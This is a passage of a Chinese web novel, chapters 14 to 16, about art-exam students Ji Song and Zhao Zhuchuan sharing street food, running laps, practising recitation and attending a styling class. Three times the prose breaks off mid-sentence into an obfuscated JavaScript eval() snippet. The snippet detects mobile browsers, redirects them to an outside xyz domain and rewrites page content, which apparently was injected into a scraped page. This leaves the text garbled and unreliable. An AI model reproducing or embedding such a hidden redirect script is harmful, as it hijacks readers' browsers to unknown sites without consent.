“没,我不是在郁闷洪鸣说我,”纪颂趴着,“我是耳朵疼。” 况野拍他背,安抚:“兄弟,不疼痛怎么能叫青春呢?” “我的青春第一次这么痛。”纪颂理都不想理况野。 他右半边侧脸朝上,露出来的右耳伤口依然在灼烧散发余热,红得格外扎眼。 要是老板手穿的孔再大点儿,耳垂铁定肿得快要熟了。 纪颂对“穿孔”这回事没有半点经验,无知造成了无畏,他本来就怕疼,打完还很得意地觉得没什么感觉,这后劲大得快把他脑瓜子烧没了。 他想起赵逐川那句莫名带笑的“你很欣赏我这张脸吗”,轻轻捶了捶胸口。 好吧!好吧。 野玫瑰都是带刺的。 14.五月 林含声对男高中生打耳洞这件事完全没什么意见。 他只小声嘀咕了句“我看着都疼”,又挪凳子坐到纪颂桌前:“刚才金姐叫你出去干什么,你被彭校训了?” “你这不废话吗,彭校夸过谁?” 况野挨林含声站着,手臂一搭,全身重量往林含声肩膀上倚,林含声抬手推他:“况野,滚开——你重死了!” “你胡说,我称体重瘦了不少,”况野笑嘻嘻的,把林含声的脑袋搁在肱二头肌上,捋开袖子做发力展示,“明哥昨天见我还夸呢。” 林含声抬着下巴,脑袋被夹到动弹不得:“啊——痛!” 纪颂现在一听见“彭校”两个字就五官挤成一团:“她问我是不是考试的时候也要戴个耳钉上场。” 况野“嗬”一声,手掌轻拍在桌面上:“你就该回答一句,被您说中了!我保准她气得背过去。她就是纸老虎,训人爱虚张声势的,其实你真要让她说你错在哪里,她还没办法自圆其说。” 林含声是正儿八经的乖学生,平时哪逮到过机会吐槽老师? 这一下捅了话篓子,他赶紧招呼人围成圈,小声讨论:“彭校对学生是挺凶的,筛人也严厉,我听说上周有合作高中的学生来面试暑期班,长得还行,普通话也标准,结果彭校因为人家大小眼儿严重给拒了。” 旁边偷听了很久的孟檀突然掏出一把随身镜:“我不是大小眼儿吧……” 况野:“这位美女,你是大小姐。” “大小眼儿也不行啊?”纪颂眼巴巴的,“那大小耳呢……” 况野说:“你再把左耳也扎了呗,下次表演课你演非洲耳廓狐。” 纪颂耷拉眼皮:“滚。” 再这么肿下去,他估计也要被彭校劝退了。 为了伤口尽快痊愈,纪颂中午一口辣椒都没沾,只跟着在咖啡厅点了份盒饭。 但今天中午不知道怎么回事,盒饭里的米饭少得可怜不说,送达时间还提前了,配合着咖啡厅开得过低的空调制冷,盒饭凉了一大半。 可能是明跃给订餐老师打了招呼,不让学生吃太多米饭? 同学们口口相传的“明哥狠起来连自己都打”不是没有可能。 纪颂不挑食,他吃什么都香,戴着耳机哼哼歌,找了个沙发位坐下来,两三口把米饭吃完了。 其他几桌要么空空荡荡,要么有同学不太熟悉,纪颂又喜欢热闹,看赵逐川一个人吃饭怪可怜的,自然而然大发慈悲坐到了同桌。 放在他对面的筷子半点没动。 过了好一会儿,纪颂看见一只好看的手握住筷子,很没劲地翻动了几下菜色,最后夹住一块不明物体尝了尝。 “嘶。”倒吸凉气的声音。 视线上移,赵逐川沉默着,喉结很轻地滚了一下,随后开始喝水。 水直接喝下去三分之一。 米饭吃了几口,一荤一素,菜都没动多少。 矿泉水瓶落桌,透明瓶身和咖啡厅窗外的午后阳光一同在木桌上荡起波浪。 赵逐川坐在那里,眉目间神情疏淡,像准备就餐的大少爷,面前的盒饭瞬间提升格调为昂贵减脂餐。 “……” 天啊集星,你给大佬吃这些东西,大佬会营养不良然后跑路的。 摸了摸赵逐川的盒饭边缘,纪颂抽回手,掏出手机,一边给金姐发微信一边说:“吃不惯辣的?走,哥给你改善伙食。” 【蝉:@班班金,建议学校给咖啡厅配个微波炉哦,今天的饭凉凉的。】 赵逐川继续扒拉难以下咽的菜:“不用。” “走吧,去校外吃。正好我耳朵肿了不能吃太辣的,”纪颂眼神清亮,“孟檀才给我推了一家东北菜,去试试?” 赵逐川这才停了筷子,抬头:“一起吗?” 纪颂理所当然地应:“一起啊!” 一直到了师大后门的小吃街上,赵逐川才明白纪颂说的“东北菜”是路边摊—— 锅包肉、东北大饭包。 他对路边摊的认知仅限于京北城区小巷子里用玻璃箱卖的糖葫芦,别的,他都只见过没吃过。 他从幼儿园开始就是由赵添青的助理接送上下学,学校换了许多所,小男孩眼里对零嘴美食的渴望也变成了没兴趣。 但现在,赵逐川突然来了点儿食欲。 午后一点钟,不少学生都用完餐回宿舍休息了,纪颂找的两家小吃摊挨在一处,中间空地摆了张小方桌,头上还支棱了遮阳伞,环境很是到位。 纪颂取下遮阳帽,问老板要了两张矮凳,再研究完菜单把招牌都点了一遍,又拿纸巾擦桌子,一边擦一边和老板阿姨闲聊几句,看人的眼眸随时带着笑意。 他头发蓬松,软软的,有夏风吹过时,额前几缕会配合地飘动,显得脸上笑容更灵动。 赵逐川看着他。 这人的确有种魔力,总能想方设法的用最自然的方式去达到目的,就像赵逐川一开始根本不愿意有人同桌一起吃饭,也没想过会被带到外面来吃路边摊。 可这些就这样自然而然发生了。 不过,纪颂为什么知道他的出生地在东三省? “小吃街卖的京北烤鸭连毛都理不干净,所以只能再往北一点儿请你吃这个了。”纪颂解释完,指指另一张矮凳,“请坐!” 赵逐川:“……” 你家开的? 但赵逐川懒得当着外人的面呛纪颂,笑了一声,坐下,无处安放的两条长腿促狭地抵在桌腿边。 他从筷子桶里边慢条斯理地挑一次性筷子,掰筷子,手指撕掉不规整的木屑,最后调整了下握筷子的手势,手肘搭在膝盖上,抬眼看向盯着自己的纪颂:“怎么了?” “没什么,”纪颂愁眉苦脸,“我只是饿了。” 算了,爱是亏欠。 他要是很有钱就好了,就可以带他的模特儿去吃高档餐厅,他看着赵逐川那样子只觉得带人来吃路边摊真是虐待啊,但一闻到老板下锅后食物的香气。 但他又想,路边摊怎么了,路边摊就是好吃! 阿姨又说:“这是高中生还是大学生呀?真帅,长得像明星!” 赵逐川很礼貌地点了下头:“谢谢阿姨。” 阿姨眯起眼,笑逐颜开,顺手用夹子往油滋滚烫的锅里一捞,夹两只金黄色锅包虾出来,放到赵逐川碗里“额外加菜”,说:“来咯来咯,一人一只!” 阿姨在围裙上擦了擦油,自拍脑门:“哎哟,就特别像那个什么,我想不起来了……” 赵逐川握着筷子,无情戳碎碗里锅包虾的金黄色硬壳。 他顺着话聊:“像谁?” “像靳霄!”阿姨继续扔肉下锅,“演《辞乡》里面白家大少爷那个!” 靳叔。 国家一级演员、中正协委员、中视协理事,无数中年阿姨大姐的梦中情人,百度百科能搜出一长串看都看不完的名号,主演过的电视剧罗列出来比京北必吃榜餐厅名字还长,《辞乡》是他15年前出演的近代剧。 在演这剧红遍大江南北之前,靳霄就抱过赵逐川了。 不过这些都是靳霄在每次私底下见面时总说的。 到底抱了多少次? 赵逐川没什么印象,只记得靳霄后来和赵添青合拍过一部院线电影,演夫妻,尚且年幼的赵逐川以为电影里面是真的,常常带着哭腔,拖住靳霄的大腿喊着“爸爸”、“爸爸抱我”。 靳霄总是朗声大笑着应他,然后等赵添青一脸无奈地把赵逐川抱走。 师弟靳霄和师姐赵添青传过绯闻,只因为零几年的狗仔像素不清晰,把靳霄的某任女友认成了当时声名大噪的赵添青。 “对对对,靳霄嘛!” 旁边做大饭包的老板码好鸡蛋酱,探头探脑,声音在口罩下模糊不清,“我老婆年轻的时候贼喜欢他,他后来好像还跟那个赵……” 赵逐川起身打断老板的话:“叔叔。我来吧。” 他取下保鲜膜,动作不太熟练地将保鲜膜在老板举着的生菜叶饭包外裹了一层,转身坐下,表情很生硬。 “你少啃几口热量也不会下降的,”赵逐川对着正专心研究锅包肉的纪颂抬抬下巴,“饭包好了,从这里开始吃。” 这个饭包…… 从外看就像没露出内里的生菜。 但为什么这么大? 完全可以打架当砖头用了,如果老板做得不好吃,被客人拿这个来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770491|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲脑袋一定会晕。 “这,”纪颂双手举着饭包,“我知道你为什么不点这个吃了。” 大帅哥啃这个,就算再控制表情也会看起来像饿了三天。 纪颂:“居然这么大?” 赵逐川:“因为不叫东北小饭包。” 大帅哥如果没长嘴那该有多好。 纪颂张嘴,努力了好几次也没能成功一口把饭包塞进嘴里,最终败下阵来,找老板要了个塑料勺子,先打开顶端吃掉最上面的饭。 等吃完“东北菜”,纪颂看得出来赵逐川没怎么吃太多,估计勉强果腹,心里愧疚,说要给他再买点饺子吃。 “……” 这人为什么跑烤冷面摊上去了? 赵逐川不知道他要买饺子还是买什么。 他冷声提醒:“温馨提示,热量缺口差不多到了。我不想钟离遥下节课说我们组体重超标。” “好吧。”纪颂泄气。 一点都不温馨。 烤冷面摊每次都一大堆人在排队,他挤不进去,但阻止他的不是烤冷面很难买,而是赵逐川说话的语气带了一丝无奈和劝哄,纪颂耳根子软,那种“我偏不听你的”的小火焰倏地就灭了。 走进校门,一生放纵不羁爱自由我行我素的纪颂突然想照顾一下合作伙伴的情绪,灵光乍现,福至心灵,找了个话题:“你还真别说,我刚刚百度了一下靳霄年轻时的照片,是有点神似。” 赵逐川只“嗯”了一声,随后挑眉看向他。 纪颂睁大眼:“哎?哎对,就是你这个角度,我觉得其实你更像……像那个……” 赵逐川冷着一张脸,一副完全不好奇的态度,闷声爬并不陡峭的长坡,往校内教学楼的方向走。 “黎意!”纪颂跑着追上来,“你知道他吧?” 整个演艺圈公认的浓颜系帅哥,曾在大热之后息影转行做幕后,掌镜过几部电影,还拿过国外的奖项,这几年鲜少露面,算算年龄,估计也有四十好几了。 赵逐川和这人长得都是眉眼着墨重的类型,单看唇部以上立体感尤甚。 但赵逐川年纪轻,整张面孔连着眼神中的攻击性更猛烈。 而且,两个人一个扇形内双,一个外双,气质上有差别,黎意整体更阳光暖男一点。 赵逐川停住脚步。 纪颂差点儿没刹住车撞他身上。 “哪里像了。”赵逐川语气生硬,像不太喜欢这个男演员,“一点都不像。” “鼻子像,眉毛像,眼睛不像,”纪颂大大方方盯着眼前这张脸认真分析,“嘴巴不像。还有身高也不像。你比他高得多。” 我高是因为我妈高。 他皱眉:“你说了两个像,三个不像,那就是不像。” 说完往前继续走,根本没有要等纪颂的意思。 “他再年轻二十岁也没你好看。真的。” “嗯。” 纪颂突然明白过来赵逐川的反感:“我不知道你是黎意的黑粉,我回去就把黎意演的电影全部删掉。” “……” “我上豆.瓣给他拍的电影打差评。” “不用。”赵逐川说完看他一眼,“别卖萌了,没人买。” 他笑起来:“哦!” 纪颂看见赵逐川压着唇角,轻咳一声,像没听见自己说话,脚下的步子却刻意放慢,但还是走在前面。 纪颂也不恼,习惯了,按开揣在怀里一路已经微微发热的照相机,抬起来,亮澄澄的眼通过取景器里打望,嘴里念念有词:“对,赵逐川!你走快点儿,我在拍你的背影……” “哎!这张远景真好看。” “你步子迈大点儿!” “你能跑起来吗!好吧不能我知道。” 取景器中的少年身高腿长,穿一身标志性深色短袖,正在向一眼望不到尽头的上坡路走去。 校园人行道边蓝花楹盛开,呈现出一种不及肉眼所见那样暴烈的蓝紫色,枝丫间落下的光斑在敲打着地砖。 赵逐川的身影是蓝紫火焰中间的芯,是少年人不停跳动的心脏。 “别拍了,”赵逐川小跑两三步,回头转过身,难得停下脚步等他,“你还不快跟上?” 15.五月 月中,直逼35度的气温降了下来。 傍晚的操场空气通透,明跃叉腰站在四百米跑道的某处终点,脖子上挂了只口哨,袜子提到膝盖下方,一副足球运动员的打扮。 他吹一声口哨喊一次:“全部给我跑快点儿——” “一个个,有气无力的!” “你们这点肺活量怎么够啊?那龙泉山健身老太太都跑得比你快!拼半年给自己一个机会,不努力以后你哭都没地方哭去!” 林含声转头对旁边同样跑倒数的同学嘀咕:“是不是全世界高三老师都一个话术啊?下句该得说……” 明跃:“林含声!你想象一下后面有歹徒在追你,抢你钱!” 纪颂非常配合地大喊:“打劫——” 后面没有歹徒在追,倒是有个小悍匪。 纪颂原本跑在最前面,眼看着好哥们儿林含声渐渐落后变了吊车尾,才放慢脚步,跟在后面不紧不慢地跑。 美其名曰:我等你啊。 林含声差点儿一脚给他踹过去,滚!这比杀了我还难受! 不过现在,纪颂喊了几声“打劫”,喊得腹部岔气,演戏的力气都没了,谁家好形体老师大晚上拉学生上操场跑三千米! 七圈半,没几个人能完成。 还好今天晚餐是集星统一发的馒头、香蕉、水煮蛋,大家都在老师的虎视眈眈下吃饱喝足,没有谁低血糖的情况。 当时纪颂一口咽下去大半个水煮蛋,看得林含声目瞪口呆:“你能不能斯文点儿?” “有人拍我?”纪颂抬头四处张望,后颈被林含声捏着按回。 跑道像磁带循环播放着凌乱的脚步声和喘.气声。 汗水贴在肌肤上,凉飕飕的。 啃了水煮蛋营养过于充沛的纪颂势头正猛,跑一两百米才放慢会儿速度,和明跃打拉锯战。 有时候明跃站得远,在溶溶夜色中看不清他们,他就趁此机会慢跑几步,等休息够了再拉速度跑起来。 还在坚持的同学只剩四男三女。 纪颂粗略地扫了一眼,赵逐川跑在最前面只留了个背影,后面三个女生速度差不多,被汗水浸湿的头发还摇晃在脑后,累是累,但都在拼命坚持。 女生跑步更累吧? 纪颂边跑边乱想,头发长,肯定很重。 “第一!”明跃吹着口哨指挥赵逐川到一旁草坪上坐着休息。 赵逐川没顺着他手指的方向去,而是放慢脚步继续往前走了一段路,才停下来,撑住膝盖休息。 他眼看着第二名纪颂冲刺越过跑道。 只慢了自己十秒。 晚风吹过,纪颂在加速时还捋起衣摆擦了下汗,露出来一截弧度紧绷的腰身,肌肉浅浅浮现,柔韧而有力量。 “第二!”明跃鼓掌,有些意外,“哎,你真不错啊纪颂!我还以为你身上肌肉是专门撸铁练出来的,结果是你自己平时运动攒的啊?” 纪颂扶着腰喘气,歇了好一会儿,摆手道:“是打球打的。” 他抬手朝发顶抹了一把,原本乱糟糟的头发更乱了,但他不在乎。 纪颂闭眼感受晚风,顿时清爽不少。 一看赵逐川侧对着自己站在树荫下休息,纪颂转身开始找自动贩卖机。 两分钟后,纪颂扔过去一瓶矿泉水。 赵逐川伸手接住:“谢了。” 塑料瓶身砸进虎口,力度不小。 终于坚持到终点的林含声被况野搀扶着走过来,大口喘气,歇了好久才问:“颂……颂……我的呢?” “你是第一名吗?”纪颂扔过去自己那瓶,很神气地抬下巴,“喏。喝我的吧,我刚才没对嘴喝,直接仰头这么倒的。” 林含声一口气灌下大半瓶水。 纪颂:“你今天开挂了啊?居然能跑完。” 林含声强忍住骂人的冲动:“你在尬黑我!我们宿舍都跑完了,我要是半途而废才没脸见人。” 在旁边闷声喝水的赵逐川突然开口:“最后一名有脸见人?” 纪颂一听,很捧场地笑了起来,林含声自觉又被鄙视,气不过,奈何实力不够,只能嘴硬:“下次我们再比咯。” 赵逐川扫一眼纪颂,盖上瓶盖,说:“等你把纪颂跑过了再和我比。” 纪颂又想点头附和,他发现赵逐川的自信总是来得很莫名,又让人无法反驳……可人无完人,这人一定是有短板的。 等休息够了,明跃又开始加练其他没跑完想蒙混过关的同学,把他们全部集合在一起练上肢运动。 完成了3000米的小铁人们一起坐在草坪上数星星。 明跃看他们太悠闲,还不忘过来找存在感:“等下个周啊,新生就来了,加上你们一共有三个班呢。到时候可就不像现在这样几个老师围着你们十来个小孩儿转了,我也没有那么多精力再寸步不离地守着你们了。” 他还颇为惋惜,自己握拳感动:“希望我继续教你们班。” “明哥,”况野笑道,“我还等着看你跳舞呢。” “行,”明跃打了个响指,“第一节课我就跳?” 剩下几人仰起脑袋答:“好——” 望着眼前成矩形方阵队列的一班,纪颂想起他高中班级参加运动会的时候,也是这样所有人凝聚在一起,一起为了某个一生或许不会再有第二次的机会而奋斗,尽管只是跑步、锻炼身体这样常见的事,可每一次发生都有意义,因为青春本身就轰轰烈烈足够精彩。 现在,他坐在大学操场里望着夜空,看月亮—— 看一个个跑过操场照明灯的学生,恍惚间像他们已经上了大学。 梦想中的大学。 那时的他们已经告别了无法自由做主的牢笼,去往了更高的天空。 “叮。” 赵逐川点开微信。 【蝉:通过网.盘分享的文件:第十次眨眼 链接:ht.tps://xxxx. 提取码:ZC2B 复制这段内容打开「网.盘.A.P.P 即可获取」】 【蝉:这半个月的随手拍,你看看。】 赵逐川:“……” 【蝉:咦。这个提取码是随机生成的,与我无关。】 赵逐川回了个流汗小黄豆,手指在屏幕上划了几下,退出微信,开始研究这个网.盘怎么用,输入密码注册折腾了十分钟,他才终于点进转存好照片合集的文件夹。 文件名叫“第十次眨眼”,收录了纪颂拍的十张照片。 赵逐川粗略翻阅了下。 关于自己的有两张。 一张是模糊的剪影,一张是爬坡时以蓝花楹为背景的远景,剩下的都是纪颂拍的校园纪实。 从走廊角度自上向下拍摄的篮球场。 学生们在各自的半场内如同小鱼游曳,球场是夕阳下的池塘。 镜头有感情,有故事性,看得出来是用心拍的。 照片拍摄的时间应当是纪颂来集星以后。 除了景,还有人像。 有班上两位女同学脑袋凑在一起看书写字;有况野叼了根没点燃的烟,正趴在在宿舍窗边回眸看镜头。 藏族少年眼神忧郁,面部自然光打得恰到好处,为他的褐色皮肤镀了层金。 “……” 照片集里,为什么还有别人? 不是说想拍的是我吗? 赵逐川没什么表情地翻完最后一张照片,又退出去,想了想,再点进网盘,存下自己的那两张。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782393|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 手机屏幕上方再次弹出消息: 【蝉:你看了吗?如何!】 还有个表情包。 【蝉:人呢?被哥帅死了吗?.jpg】 【1101:没看。】 【蝉:?】 这个“?”贴合情绪。 一分疑惑,三分无语,六分愤怒。 这一瞬间,纪颂觉得赵逐川长得跟他头像上那只肥嘟嘟左卫门也差不多,纪颂气得从练完回宿舍一直到第二天早上晨练,都没和赵逐川讲一句话。 可赵逐川的头像真的很可爱—— 所以他早上晨练时,还是给赵逐川占了个靠湖边的好位置。 昨晚纪颂在快睡着之前还迷糊在想,爱耍酷的大帅哥怎么会用这种头像?这就是他把自己化成蜡笔小新的理由吗。 赵逐川没和他们一起出门,也来得不晚,和来守晨练的金姐差不多时间到。 他单肩挂了个背包,正要往最边上走。 纪颂往侧边站一步,空出刚好能站一个人的位置,再对赵逐川勾了勾手指,示意他站过来。 “我教你还不够啊?”林含声暗暗磨牙,“你还要找个赵逐川来旁边碾压我。” “我还没听过他朗诵呢。” “听了你肯定自卑,到时候赵逐川为了争一保二再报个京影的导演系你就等着哭吧。” “你看不起谁?”纪颂从稿件纸后露出半张脸,“我朗诵也不烂好吧。” 他还是mini版纪颂的时候,在小学家长开放日上朗诵的《父爱无声》让一向内敛、满身书卷气的他爸立刻无声变有声,在底下观众席感动到失态大哭。 搞得纪颂小尾巴翘得老高,回家还给他妈纪仪龄补了一首歌颂母爱的朗诵。 小小的纪颂当时很疑惑,为什么就没有诗歌歌颂活泼可爱的儿子呢?以后等他有文化了,一定要写一首《感恩儿子》,包括不限于:啊,我亲爱的宝宝,是你,带给我们欢乐,带给我们新生的希望…… 而不是现在这个,当你老了。 “唰——” 金姐挥动教鞭宛如挥剑,抄着手臂,不知道从哪儿买了根更长的教鞭,轻轻拍到某位同学背上:“背打直!没睡好啊?昨晚干什么去了?” 随后那把教鞭的矛头又直接指向了纪颂和林含声。 “你俩,嘀嘀咕咕什么呢,要说出来说,洪鸣老师给你们的稿子都学完了?” “金姐。”林含声赶紧竖起a4纸挡脸。 只有纪颂接话:“还没学完,等着金姐指导。” “嬉皮笑脸的,”金姐瞪他一眼,“你分的什么稿子?” “《当你老了》。”纪颂回答。 身后的况野还跟着哼哼了几句这首诗歌的改编歌曲,林含声鼓掌捧场。 “很基础嘛,入门级的。”金姐双手背在身后,潇洒转身,“你先读个二十遍再来找我。” 纪颂看了眼他满篇勾画重点的稿件,小声:“多少,二十?” 金姐指挥:“来,大家,先开嗓,闭口哼,嗯——” 半小时下来,也不知道到底是谁老了,反正纪颂自觉他嗓子快老成鸭嗓了,怎么念怎么不得劲,还口渴,突然又找不到腰腹丹田那口气在哪儿,自己都听得出来发声方式有问题。 “口鼻要同时呼吸,”赵逐川忽然出声,“横膈膜,往下沉。” “横膈膜?那不是烤肉……”纪颂突然腰间一紧。 “……”赵逐川表情有点无奈,“你别说话。” 他的一只手掌按上了纪颂胃部上方的位置,另一只手则扶住纪颂腰侧,双指并拢,挪到小腹之上一寸,指端力度不小。 纪颂越加快呼吸—— 越能感觉到那强硬的存在。 16.五月 “你念,山明水秀。咬字夸张一些。”赵逐川发号施令。 纪颂听话地跟念一遍,腹部肌肉变硬,逐渐跟随赵逐川手指的按压找到轻松发音的根源。 一直到纪颂能正确念完好几句常用于练发声的诗,赵逐川才放开他的腰,说:“等你练完基本功,后续慢慢再学停顿和重音。考试最好选散文。诗歌容易暴露你有鼻音的短板。” 林含声举手:“我呢?” 赵逐川抬手扯了下领口:“你不要只顾着炫技就好。” “那……”纪颂拿稿件纸遮住半边脸,只露出一双眼睛朝赵逐川看过去,“等我练散文的时候你能……” 赵逐川仿佛没有让他把话说完的耐心,应得很快:“能。” 明明是同意,又那么不耐烦。 但纪颂不计较这些。 他一转头,班上有两个女生拿着稿件走过来了,她们表面很平静,实则惴惴不安,手里的纸已经被捏皱了,带着极大的勇气想要讨教。 还没等她们开口,林含声马上抬手指向自己:“问我问我!我的实力有目共睹吧?” 于是,女生们跟着林含声去旁边的空地上去修正稿件,况野也跟着去听。 最后金姐都来看热闹了。 同学们里三层外三层,逮着机会把目前播音水平暂时全班第一的林含声堵了个水泄不通。 晨练结束,林含声被解救。 况野坏笑着凑过去勾他肩膀:“你刚刚是不是……” “不是,我没那意思,”林含声摆手,“是我怕等会儿赵逐川不帮她们改稿件。那么多人,女孩子脸皮薄,下不来台多不好。” 纪颂若有所思“哦”一声:“他初中就这样?” “没呢,现在好多了,以前刚转到我们班一句话都不带说的,我和他当了一个月同桌,他才偶尔跟我说几句话。” “上下学呢?” “我们初中是私立的,周五放学基本都是家长或者司机来接,”林含声放低音量,“但他不一样。” 纪颂:“什么不一样?你说话别停顿。” 林含声故意停顿了好几秒。 纪颂:“你演我是吧?” 林含声被掐得嗷一嗓子,才继续说:“他家来接人的配置基本都是……一个司机,一个保镖,两个……保?说保姆也不对,看着都年轻干练,也许是两个管家吧。反正每次放学最少都是四个人来接。” “我.操。”况野感叹,“少爷啊?” 纪颂本来想说吹牛呢? 但他回忆起每次来接赵逐川的那辆车以及入学时的架势,他突然觉得林含声所说不无可能。 他只说:“我也有四个人来接的时候。” 林含声看他像看鬼:“什么时候?” “初中,当选区三好的时候,电视台来了四个人采访我。” 这话不假,但四个人来接的阵仗其实不止一次。 还有一次是放学和隔壁学校的人打群架,被堵了,打肯定打赢了,但回家也挨了纪仪龄一顿揍,最后落得一句“臭小子你下次打架记得带人啊”。 “……” 翻个白眼,林含声捏紧书包带,继续说:“还有啊,他家保镖基本不露面。那为什么我知道他有保镖呢?是有次车开走的时候,我不小心瞄到里面一个壮汉穿短袖戴墨镜,虽然说没穿西装吧,但是那范儿,一看就是!” 纪颂默默地:“你还真是不小心。” 林含声还有没抖完的秘密:“但是嘛……听说他转学转得挺频繁。有时候转都不转,直接一两个月不来上课,回来考试居然也还跟得上。” 纪颂“啊”了一声。 赵逐川还真不是虚有其表,脸和脑袋一样聪明。 事件议论的中心在前面几米开外停下了脚步,像完全没有听见他们在说什么。 况野已经快步走到前面去了,和赵逐川一同回头朝两个叽里呱啦了一路的人望去。 清了清刚才饱受摧残的嗓子,况野含了颗润喉糖续命,朝这边喊:“快走!去晚了面馆牛肉都卖完了!” 纪颂和林含声立刻跟着他们跑起来。 今天是每周四的“早晨吃面日”。 面食碳水高,这算是一周一次的放纵餐,正在长身体的这群男孩儿强忍着胃口只能叫个一两二两。 纪颂特别爱吃面食。 上初中那会儿,他和班上同学们会约早饭,个个都吃三四两,还有人挑战过半斤以上,吃得人仰马翻,班主任还来校门口逮过人,说一个个的,要改行当吃播啊? 纪颂不当吃播,他只是害怕自己长不高,每回得加两个鸡蛋。 到了面馆,纪颂才气喘吁吁地坐下来。 林含声在窗口点单,纪颂随手拉开手边小冰柜取出一瓶水,拧开喝了,用膝盖碰了碰对面赵逐川的:“喝水吗?我请你。” 他做这些小动作完全行云流水,不会觉得有半点亲密。 “不用,我喝面汤。”赵逐川的语气听不出起伏。 点点头,纪颂扯一张纸巾铺开,等面来了,他开始低头扒拉自己的面条,一颗一颗地把葱花挑出来放到纸巾上。 “对不住,我忘跟老板说啦,”林含声挪凳子坐下,“颂颂,你为什么不吃葱?” 纪颂专心致志地挑葱:“不爱吃,味儿大。” “那你还爱吃花卷?” “花卷的葱都熟了,没什么葱味儿。” 从小纪颂看见葱这玩意儿就犯怵,他爸自以为是为了纠正儿子这一“陋习”还偷偷没收过他一朵小红花,骗他说是因为不吃葱,纪颂吓得第二天早饭没把小馄饨里面的葱挑出来,一口汤下去呛得涕泗横流,虚弱装病顺水推舟,躺了小半天没去学校上课。 至于辣椒嘛,他无辣不欢,是五岁开始吃辣椒会边疯狂喝水边说“不辣啊”那种程度。 纪颂很能吃辣,每次往嘴里塞剁成碎的小米辣半点不带含糊,像舌头没有痛觉。 赵逐川收回视线。 每次一起吃饭,纪颂的座位总是在对面或者身边,反正绝对不会坐对角线的位置。 对角线的位置一般都是况野在坐。 总之就是——隔得很近。 正沉思着,对面不安分的膝盖又碰了过来。 他一抬头,纪颂满脸坦然:“来了,你的番茄牛腩面。” 他还给赵逐川递筷子,挑的一次性筷子,贴心地掰成两瓣,再递到赵逐川手边。 之后,面对面坐着贴紧的膝盖就没离开过。 纪颂招呼他:“快吃,等下面坨了就不好吃了。” 他用来防晒的衬衫袖口卷到手肘,腕骨微凸的手很是好看,青筋脉络一直攀爬上指节,最后又因夹煎蛋的动作而紧绷起来。 拌了拌自己的面,赵逐川低头尝一口,破天荒地觉得寡淡,拿过辣椒罐舀了一勺出来搅拌,等搅匀了面条,他又试了试味道,承认还是纪颂在吃上别有一番造诣。 番茄面加辣椒堪称完美。 赵逐川用筷子轻轻夹住面条,咀嚼缓慢,嘴角不沾一点汤汁,半点油渍都不会飞溅出来。 “分你一个蛋!”纪颂飞快地把自己放鸡蛋的小碗推过去,“干净的,我还没动过。” 坐在纪颂身边的林含声又瞪眼:“那我嘞?” 纪颂搅动面条,没有立即应声。 等桌上氛围安静了,他才说:“下次朗诵你也帮我呗。” 他嘴上这么回答林含声,眼睛却直直看向赵逐川。 · 周二上午又是 Vega 的妆发课。 这门课程是彭思芮安排的。 此前,她专程前往京北,考察了当地不少出名的传媒培训机构,发现这些学校在最开始都对学生的个人风格定位有很高的要求。 找到合适的自己,才能选择适合自己的稿件和考试内容。 Vega今天穿了件新中式衬衫,站在讲台上的身板和衬衫图案上的青竹一般挺立。 纪颂很听这个老师的话。 Vega的外形美而没有妖气,听说是在国内top美院学设计的,还考过服表,承接过市里不少小型演唱会的妆,开有一家规模不小的定制服装店。 他来上课一是为了赚课时费,二就是为了让一些学生在全省联考之前去他的店里定制西装,但有许多同学私下讨论过,说既然是生意,那就不至于这么尽心尽力啊。 Vega上课认真,从不多讲废话,全班同学的外形、个人风格都在随着课程步步推进而变得焕然一新。 妆发课一般都安排在上午,总有同学昏昏沉沉打瞌睡。 Vega双手撑在讲桌上,笑道:“现在很多院校招生都会擦妆,不过不影响什么,没有眉毛的同学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788231|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师支持你们去纹眉哦。” 底下一片闷笑。 Vega又拍拍手:“要笑就笑出来,不要憋着,我们这是妆发课又不是什么文综课,好了。今天请女生模特,孟檀上来。” 孟檀是标准的校花长相,她三天前的长发发型还是艳丽大波浪,现在那烫得卷卷的弧度已经被Vega勒令去剪掉了,其余头发拉成黑长直,不允许做过多的烫染。 Vega当时说,不要丢失你的青春感,想装大人以后再说。 现在为了顺利考试迎合考官欣赏水准,只能趁着年纪小,素颜保持青春感、活力感,等以后三十来岁成了明艳大气的“大花”,有的是时间化浓妆穿礼服。 专业院校像孟檀这种漂亮级别的女生多,以后可能一个班女生百分之八十都是,考试时想要让老师留住你,必须把刘海留长。 刘海是来修饰脸型的。 脸型这么完美,额头宽度也够,不露出来不可惜? 这是Vega给她的忠告。 